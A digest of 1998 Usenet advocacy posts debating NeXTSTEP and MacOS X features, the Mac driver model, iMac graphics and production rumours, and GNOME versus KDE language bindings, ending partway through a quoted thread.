References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com> <19980810074624202124@pm2-1-12.aug.com>
In article <19980810074624202124@pm2-1-12.aug.com>, nojunkhattonr@aug.com
(Rick) wrote:
> <quinlan@intergate.bc.ca> wrote:
>
> > Things aren't perfect on the Mac either. The Mac driver architecture is so
> > primitve that it's surprising that things work as well as they do.
>
> It's a hell of a lot better on the Mac than on any other "consumer" OS.
Talk about the pot and the kettle. He's a PC user and says that Mac drivers
are "primitive". Go figure.
George Graves
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXTstep/Openstep for the Mac
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Cc: willadams@aol.com
Organization: none
References: <trmp-0808980049440001@ptp28.sopris.net> <1998080817265500.NAA02007@ladder03.news.aol.com>
Mime-Version: 1.0
Date: Mon, 10 Aug 1998 15:27:50 GMT
In <1998080817265500.NAA02007@ladder03.news.aol.com> WillAdams wrote:
> I don't have access to the Rhapsody Developer Releases, and am basing my
> statements on what I've read here, on Apple's web site and on Stepwise.
Quite dated in some cases, I'd recommend grabbing a DR if possible. It's
still not "there" yet, but they have definitely come a long way. DR1 was
butt ugly, DR2 is usable, I'm hoping CR1 will be "ok".
> I'm glad to hear that. Does the main menu then go away or does one then
have to
> waste screen space on a second, duplicated menu?
Two menus. Let's not start _that_ debate again.
> How are keyboard shortcuts indicated in the menu? Do they use Mac style
> all-caps with <SHIFT> indicated as an additional key or NeXT style
lowercase,
> with uppercase to indicate shift?
The Mac way. I suppose by asking you indicate some disagreement with this?
As one who's coming from the localization world, this appears to be the
only real solution - although even this is not a complete one. I note also
that the system they are using is far better than the one on the Mac, where
both creating and supporting a full suite of modifier keys was a serious pain
in the butt. Now you just type them in!
> >There will be no Dock, however you can easily tear off the application
> >menu and use that as a sort of process menu
Actually all the best docks are on the MacOS now anyway, they let you store
anything, support full drag-n-drop without modifier keys (one of my least
favourite OS "features"), hide and show in various places, show state of the
application, and support any number of tiles.
> So, the method used to switch to an app will be different from that used to
> launch it. I find this inconsistent.
If there is any inconsistancy here, it's that the state needs to be known
at all. All OS's enforce this though, and I think it's artificial.
> I find it easier to double-click on the same icon I used to launch an app
in
> the first place.
You could always do that, even on the MacOS.
> and presumably no Oxford's or TeX either.
Lacking LeX is likely a zero-outcome issue for the _vast_ majority of the
users - TeX is too complex, and effectively dead anyway. For the people form
whom this is a loss, I'm assuming they're smart enough to know how to
download it. IMHO TeX, and any number of other Unix utils, should NOT be
included with the OS.
As to the former, I don't know.
Maury
Newsgroups: comp.sys.next.advocacy
From: lparkyn@prosoft.com (Lyle Parkyn)
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <ExHHHp.7LJ@prosoft.com>
Sender: lparkyn@prosoft.com (Lyle Parkyn)
Organization: ProSoft Solutions Inc. (RDS Site)
References: <slrn6ssa15.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Date: Mon, 10 Aug 1998 17:20:12 GMT
In article <slrn6ssa15.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
> On Sat, 08 Aug 1998 18:49:58 -0400, no one <none@nobody.com> wrote:
> :In article <35cc94ae.0@news.depaul.edu>, Jonathan W Hendry
> :<jhendry@shrike.depaul.edu> wrote:
> :
> :> A Mac with
> :> net access has far, far more online reference material available
> :> than a NeXT box. There's a free Webster on the net.
> :
> :I use this a lot...which is just why I wish I had a built in
dictionary.
> :Launching a web browser can be quite a time consuming process on a mac.
>
> "on a Mac".
>
> Even piggish Communicator comes up in 2 seconds on my Linux box if
> it's in cache, and that's probably the biggest program I ever use.
>
With NextStep/OpenStep Webster's it would be complete in 2 seconds. Using
a browser one still has to bring up the appropriate web site page, (this
can take a long time with the heavy graphic content of most sites), then
type in the word, wait for the response. If your guesstimate was incorrect
the web dictionary may or may not offer alternatives and then you're into
the whole word lookup cycle again, add another 50% to the total lookup
time.
Unless you have a permanent connection there's the time to dial-up and
make the connection to consider. And what if you can get a connection to
your provider?
The web has it's uses but it doesn't solve everything - even if a lot of
content is "free".
--
Lyle Parkyn
ProSoft Solutions Inc. (http://www.prosoft.com)
lparkyn@prosoft.com (NeXTmail, text or MIME formats welcome)
Bus:(604)324-3311 Fax:(604)538-7694
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 18:23:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qndq3$6iu$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com> <19980810074624202124@pm2-1-12.aug.com>
In article <19980810074624202124@pm2-1-12.aug.com>,
nojunkhattonr@aug.com (Rick) wrote:
> <quinlan@intergate.bc.ca> wrote:
>
> > Things aren't perfect on the Mac either. The Mac driver architecture is so
> > primitve that it's surprising that things work as well as they do.
>
> It's a hell of a lot better on the Mac than on any other "consumer" OS.
Why do you think that the Mac OS has a better driver model than Windows 95 and
NT? What about Linux?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 13:24:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CF3ACD.4FBD8BD0@ericsson.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com> <35C9F8C1.677CC6B2@ericsson.com> <slrn6ssafr.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35CF0A16.45EBB788@ericsson.com> <6qn8nc$t81$1@nnrp02.primenet.com>
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John Jensen wrote:
> For someone who isn't trying to start a Gnome/KDE flamewar, you do leave a
> bit out.
Ouch.
> There are C++, Objective-C, Eiffel, Python and other bindings
> for the GTK+ toolkit in beta. I'm sure the Gnome-level bindings will
> improve over time as well.
This is all true.
> I can see the strenth of deep object orientation in a GUI, but I think it
> also might be easier to float future, unknown, languages on top of an ANSI
> C base.
I think that's the idea of the Berlin Consortium, in part. Berlin is
supposed to be written in light, fast C. Actual GUI frameworks (like
Warsaw) would be built atop the Berlin base in language-specific ways.
> Engineering isn't always about good and evil, it's often about choosing
> between two things that are both good in different ways.
>
> I'm happy that Gnome, KDE and GNUStep are all making progress.
Me too.
MJP
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 10 Aug 1998 17:00:22 GMT
Organization: Rockwell International
Message-ID: <6qn8v6$3vt4@onews.collins.rockwell.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <29568-35CE1A48-42@newsd-123.bryant.webtv.net>
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Cc: RasAllGhul@webtv.net
In <29568-35CE1A48-42@newsd-123.bryant.webtv.net> Joshua Moore wrote:
> >- Will not have standard configuration via rc
> >scripts
>
> Why is it important to have this ability? (honest question, I don't
> know)
It is important because the world is full of experienced UNIX system
administrators who know what to do with them. If Apple insists on being
gratuitously different, it will certainly not appeal to anyone who is not
already MAC trained.
>
> >- Will not support UNIX services such as cron,
> >autonfsmountd, lpd, telnetd, nfsd, inetd,
> >lookupd, ypbind, syslogd, etc.
>
> Apple has utilities that approximate those tools. It makes more sense
> for them to include the tools that the majority of people will use.
Again, why be different for no reason ? All of these standard UNIX services
are considered a minimum my existing UNIX installations. If Apple insists on
being different, they might as well be NT. Of course, there are lots of
reasons for a company to use NT. What reason could possibly convince a
company to invest in proprietary hardware, retrain the support staff, and
give up access to all of their enterprise software ?
>
> >- Will have sockets API support but not
> >STREAMS
> >- Will not have ubiquitous NeXT services,
> >Terminal services, Open Sesame, TeXview,
> >etc.
>
> >- Will not have Digital Librarian
>
> What does this do? Maybe there is an equivalent.
It is a very powerful text searching and indexing tool that has shipped with
NeXTstep for 10 years. It works with on line documentation as well as your
own files.
>
> >- Will not have Digital Webster
>
> You don't know this.
It is an on line Websters dictionary/thesaurus that is integrated via
services with every application. If you can select the text you can define
it by using the menu Services->Define in Webster or Command=
>
> >- Will not have TeX
>
> Not many people need this out of the box. Those who do will be able to
> find Carbonated versions for the Mac, or ports from BSD.
>
> >- Will not have man pages
>
> AppleGuide.
No it won't. It will have new HTML documentation.
I attended WWDC 98. I have all of the session notes printed. I asked many
question during the feed back session. Even still, I am the first to admit
that I do not know that much about MacOS-X.
All I am able to really ascertain from Apple's marketing message is that
everything possible (with the exception of hardware) will be done to make the
transition easy for existing MAC OS users and that everything possible will
be done to antagonize/abandon Corporate users and all other non-Mac OS users.
Date: Mon, 10 Aug 1998 08:35:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-1008980835150001@wil81.dol.net>
References: <joe.ragosta-0708980924190001@wil86.dol.net> <B1F0B592-3B8B4@206.165.43.185>
In article <B1F0B592-3B8B4@206.165.43.185>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Serious gamers are going to want to upgrade their video cards when a new
> >generation of card comes out. That, by definition, rules out the iMac,
> >anyway. Those people should be looking at the PowerMac G3.
> >
>
>
>
> But that really is our point (or mine, at least). the iMac video should be
> replaceable in some fashion, whether via a card, a cartridge or whatever,
> it shouldn't be frozen into the motherboard. You have to slide out the MB
> to install RAM, so why not to replace the video card/cartridge?
>
> If Apple had done THIS, they would have doubled the iMac target market
> since many hard-core PC gamers would buy one just to have as a portable
> high-end games console.
That's entirely different from the claim I was rejecting which was that
the iMac would be a failure because of its poor graphics.
Sure, you can always come up with features which would improve a system's
popularity. They almost always also increase its complexity and cost.
Apple has apparently decided that the added complexity and cost would not
create enough new orders to justify it.
Or, they expect to sell every iMac they can make for the next 4 months
anyway and didn't see any need to add faster graphics. Perhaps there's a
removable video card in iMac II.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 10 Aug 1998 08:31:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Message-ID: <joe.ragosta-1008980831470001@wil81.dol.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>
In article
<TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>,
TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> In article
> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net>,
> NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>
> > With an 11% failure rate,it's easy to understand why Apple is proceeding
> cautiously. Would you like to be one of the better than 1 in 10 who takes
> possession only to have to return it? Returns of that magnitude would kill
> Apple with expense *and* bad press.
>
> Whoa! Slow down, troll!
> You still need to provide some factual basis for this "11% failure rate."
> Until you can come up with something that corroborates Cringely's
> blathering, you're
> still fullOshit, as usual.
Actually, if he had merely said "rumored 11% failure rate", his statement
wouldn't be so bad.
Of course, no one has ever made any evaluations on when the 11% rate was
determined and whether it's bad or not. It's quite plausible that at the
very start of production that 1 out of 10 machines might be bad and this
might be completely normal. Production startup problems are very common.
Even Cringely admits that his rumored 11% figure was at the start of
production. What really matters is what the failure rate is after they get
ramped up.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 18:39:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qneou$951$1@nnrp1.dejanews.com>
References: <6qloli$8hs$1@nnrp1.dejanews.com> <B1F40DA8-326FA6@204.31.112.111>
In article <B1F40DA8-326FA6@204.31.112.111>,
"Phil Brewster" <pjbrew@nospam.com> wrote:
> Maybe it's just been dumb luck, but I've been using the Kensington Turbo
> Mouse 5.0 with an Adesso TruForm ergonomic keyboard for the past 8 months
> or so with no problems that I can see (nothing on the order of frequent
> system-related crashes anyway...). The ReadMe for MouseWorks 5.02 (rev.
> 2/97) didn't mention anything about Adesso keyboards under 'known
> conflicts' either, FWIW, so this is honestly the first I've heard of it.
[more snipped]
I have neither an Adesso nor a Turbomouse. The problem is that when the
trackpad on the Adesso is touched, the computer crashes. I heard of this
problem when someone contacted me asking if a freeware control panel that I
wrote would fix it. It wasn't designed to do that but I was interested in the
problem so I downloaded MouseWorks. The MouseWorks software does some
interesting things but without the Turbomouse it's pretty hard to test. So I
called Kensignton and asked them about the problem. They said that their
products are not compatible with Adesso products. I also wonder if this
problem occurs with the MouseWorks software and the SideWinder which also
uses two ADB addresses.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Mon, 10 Aug 1998 08:35:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-1008980835430001@wil81.dol.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com>
In article <MPG.1037c4bb416ff4729896d5@news.ont.com>, jmcn@ont.com (Jason
McNorton) wrote:
> In article <joe.ragosta-0808980940350001@elk50.dol.net>,
> joe.ragosta@dol.net says...
> > Nice straw man. I never said that.
>
> Please please, the "nice straw man" line has been repeated 50 times in
> the last 2 weeks. If someone doesn't program the Ragosta bot to say
> something else, I'm gonna be ticked.
Or maybe you should program the Wintrolls to stop using straw man arguments?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 19:17:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qngvc$d9s$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com> <19980810074624202124@pm2-1-12.aug.com> <gmgraves-1008980958500001@sf-usr1-44-172.dialup.slip.net>
In article <gmgraves-1008980958500001@sf-usr1-44-172.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Talk about the pot and the kettle. He's a PC user and says that Mac drivers
> are "primitive". Go figure.
I'm tired of people disparaging my knowledge of Macs. I do use a PC but I
also use a Mac. I am an expert Mac OS programmer. I recently co-authored the
freeware control panel Keyboard Combiner
(http://www.wcwd.com/keyboardcombiner/) which a few thousand people have
downloaded in the last week. Why would I write a freeware product for the Mac
OS if I hated it? And, as far as I remember, I've released three other
freeware products for the Mac OS.
Also, Keyboard Combiner installs a driver that changes the behavior of other
drivers. Doesn't that suggest that I am fairly knowledgeable of the Mac OS
driver model? If you want to prove that you know more about Mac drivers than
me while contributing to the Mac OS community, we are changing the way
Keyboard Combiner works for version 1.1. If you want, you can write the
patches for a joystick or keyboard. Send me some e-mail and I'll get you
started.
So, if I make a claim from a position that you will probably soon have to
concede is more informed than you own, why not present some technical counter-
arguments instead of bashing me? I like the Mac OS but I know that it is not
perfect. My claim stands: the Mac OS driver model is primitive.
---
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 14:33:02 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CF4AEE.9E1568B7@ericsson.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <29568-35CE1A48-42@newsd-123.bryant.webtv.net> <6qn8v6$3vt4@onews.collins.rockwell.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Erik M. Buck wrote:
>
> In <29568-35CE1A48-42@newsd-123.bryant.webtv.net> Joshua Moore wrote:
> > >- Will not have standard configuration via rc
> > >scripts
> >
> > Why is it important to have this ability? (honest question, I don't
> > know)
>
> It is important because the world is full of experienced UNIX system
> administrators who know what to do with them. If Apple insists on being
> gratuitously different, it will certainly not appeal to anyone who is not
> already MAC trained.
It's not just a matter of training. It's important to be able to manage
the order in which services are started without having to put funny
characters in front of extension names to get around alphabetizing. It's
important to be able to create startup services without going through
complex, buggy machinations. It's important to be able to duplicate a
startup setup and repeat it somewhere else over and over.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtExHoIr.Gxp@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42> <joe.ragosta-0608980801280001@0.0.0.0> <adtExD0Mo.6F1@netcom.com> <joe.ragosta-0808980922080001@elk50.dol.net>
Date: Mon, 10 Aug 1998 19:52:03 GMT
Sender: adt@netcom2.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: OK. Let's say you're right. You trimmed off the rest of my post.
I trimmed the rest of the post since I wasn't disagreeing with it. :-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtExHox5.I2C@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <35ccff57.0@news.depaul.edu> <B1F37806-D762@206.165.43.131>
Date: Mon, 10 Aug 1998 20:00:40 GMT
Sender: adt@netcom2.netcom.com
Lawson English (english@primenet.com) wrote:
: You missed my point. While PII and G3 get roughly the same SPEC scores at
: the same CPU clock, consumer-oriented benchmarks (like BYTE) show the G3 as
: being far superior.
Actually the Byte comparison largely demonstrates new compiler vs. old
compiler. IIRC that 100% faster shrunk to 40% faster when Byte's code was
compiled with the currently shipping x86 compiler at the time. G3 still
won, but in a much less dramatic manner not suitable for a marketting
campaign. ;-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: ralsina@unl.edu.ar
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 20:18:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qnkjh$ira$1@nnrp1.dejanews.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com> <35C9F8C1.677CC6B2@ericsson.com> <slrn6ssafr.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35CF0A16.45EBB788@ericsson.com> <6qn8nc$t81$1@nnrp02.primenet.com>
In article <6qn8nc$t81$1@nnrp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> : > I'm not a GPL zealot. I'm in favor of progress all around---KDE without
> : > a C++ centered toolkit and API would have been ideal for me.
>
> : That's your language issue. I consider it a blessing, not a curse, to be
> : able to program in C++. If you're going to throw out KDE and Qt because
> : they're based on a language that people actually use, that's your own
> : prerogative. GNOME is based on straight ANSI C; if that's your thing,
> : jump right in.
>
> For someone who isn't trying to start a Gnome/KDE flamewar, you do leave a
> bit out. There are C++, Objective-C, Eiffel, Python and other bindings
> for the GTK+ toolkit in beta. I'm sure the Gnome-level bindings will
> improve over time as well.
More or less the same thing could be said about KDE (python, perl and C
bindings) tcl and scheme should be easy to add since the Qt and KDE APIs are
already wrapped using SWIG.
Furthermore, a library for KDE can be implemented using C or C++ (maybe
something else, but I don't think that would be practical).
Try convincing GNOME to accept a C++ library as part of GNOME. I don't think
you gonna have much luck (sadly).
Personally at this moment, I feel KDE is more language agnostic than GNOME is
:-(
> I can see the strenth of deep object orientation in a GUI, but I think it
> also might be easier to float future, unknown, languages on top of an ANSI
> C base.
Well, that is probably true. I have written myself a C wrapper for all of Qt
in about a week and it wasn't really hard, actually.
> Engineering isn't always about good and evil, it's often about choosing
> between two things that are both good in different ways.
>
> I'm happy that Gnome, KDE and GNUStep are all making progress.
That's the attitude :-)
--
Roberto Alsina (KDE developer)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 10 Aug 1998 20:33:59 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981345350001@166.oakland-01.ca.dial-access.att.net>
References: <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <26760-35CC83E2-35@newsd-124.bryant.webtv.net> <joe.ragosta-1008980645450001@elk41.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-1008980645450001@elk41.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <26760-35CC83E2-35@newsd-124.bryant.webtv.net>,
> RasAllGhul@webtv.net (Joshua Moore) wrote:
>
> > Steve=A0Sullivan wrote:
> >
> > >But, I didnt emphasize this enough... Who the
> > >hell is Robert Cringely anyways? Take back
> > >anything bad I may have insinuated about
> > >apple in this post. *IF* this RObert Cringely
> > >were correct, what I said was true. But I find it
> > >VERY VERY VERY dubious of a claim that
> > >apple has only built 5000 imacs so far.
> >
> > Robert X. Cringely produced the miniseries "Triumph of the Nerds" for
> > PBS, detailing how people like Steve Jobs and Bill Gates made their
> > money in the early days of personal computing.
> > You can find his article at:
> > http://pbs.org/cringely/
> >
> > and more about him at:
> > http://pbs.org/cringely/whois.html
> >
> > His claim that only 5,000 iMacs had been produced isn't really that hard
> > to believe. By MacWorld Apple only had about 100 iMacs - all hand built
> > and of varying quality. And they've definitely had production problems,
> > mainly to do with the case and the monitor.
>
> Let's try to do some math.
>
> MacWorld was 6 weeks before the iMac launch. That's about 12% of the year.
>
> Apple has been shipping 2.4 million Macs per year. So, during 6 weeks,
> they'd have the capacity to produce at least 300,000 Macs (and that's
> assuming that the plants were running flat out to produce 2.4 million).
> Apparently, they've been making almost nothing but iMacs since MacWorld.
> Even if they're only at 50% of capacity, they'll have 150,000 iMacs by
> mid-August.
>
> Granted, no one can be sure what the correct utilization rate is. And I'm
> sure it started low and is increasing. But it doesn't take that long to
> produce a pile of machines.
Tell it to the backlogged purchasers....
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: kdb@xena.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 10 Aug 1998 20:21:58 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6qnkp6$9nv$2@geraldo.cc.utexas.edu>
References: <trmp-0808980049440001@ptp28.sopris.net> <1998080817265500.NAA02007@ladder03.news.aol.com> <ExHCAE.J4J@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: Lacking LeX is likely a zero-outcome issue for the _vast_ majority of the
: users - TeX is too complex, and effectively dead anyway.
I disagree. Where else can you get a multiplatform way to manage citation
databases? LateX's BibTeX makes that a breeze, and the only other program
I know that does some of this (Framemaker) is expensive and is only
developed for a small number of platforms.
And don't even get me started about how crappy most previewers are when
documents include .eps files. NeXTSTEP (and ilk) and xdvi are it, AFAIK.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 10 Aug 1998 20:41:23 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981352590001@166.oakland-01.ca.dial-access.att.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <joe.ragosta-0808980914350001@elk50.dol.net> <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-1008980055360001@digital-00-40.hou.neoworld.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <TheLidlessEyeTh-1008980055360001@digital-00-40.hou.neoworld.net>, TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> In article
> <NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net>,
> NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>
> > In article
> <TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net>,
> TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> >
> > > In article
> > > <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net>,
> > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > >
> > > > In article <joe.ragosta-0808980914350001@elk50.dol.net>,
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > >
> > > > > In article
> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
> > > > > macghod@concentric.net (Steve Sullivan) wrote:
> > > > >
> > > > > > In article
> > > > > > <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> > > > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > > > >
> > > > > > > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty
> impressive.
> > > > > > > >
> > > > > > > > Not to mention the opportunities to "sell up". The iMac is going
> > > to bring
> > > > > > > > a lot of people into the store. Some of them will probably walk
> > > out with
> > > > > > > > PowerMacs--particularly if the iMac is in short supply.
> > > > > > > >
> > > > > > > > Looks like they're off to a great start.
> > > > > > >
> > > > > > > Robert Cringely is reporting that they've built 5,000, to
> date, with an
> > > > > > 11% defect rate. Once again, it would appear, Apple has snatched
> defeat
> > > > > > from the jaws of victory...
> > > > > > > --
> > > > > >
> > > > > > I hope he is wrong.... THeir is about a week left, lets assume
> they build
> > > > > > 5000 a day every day for a while. This number may seem high
> given what he
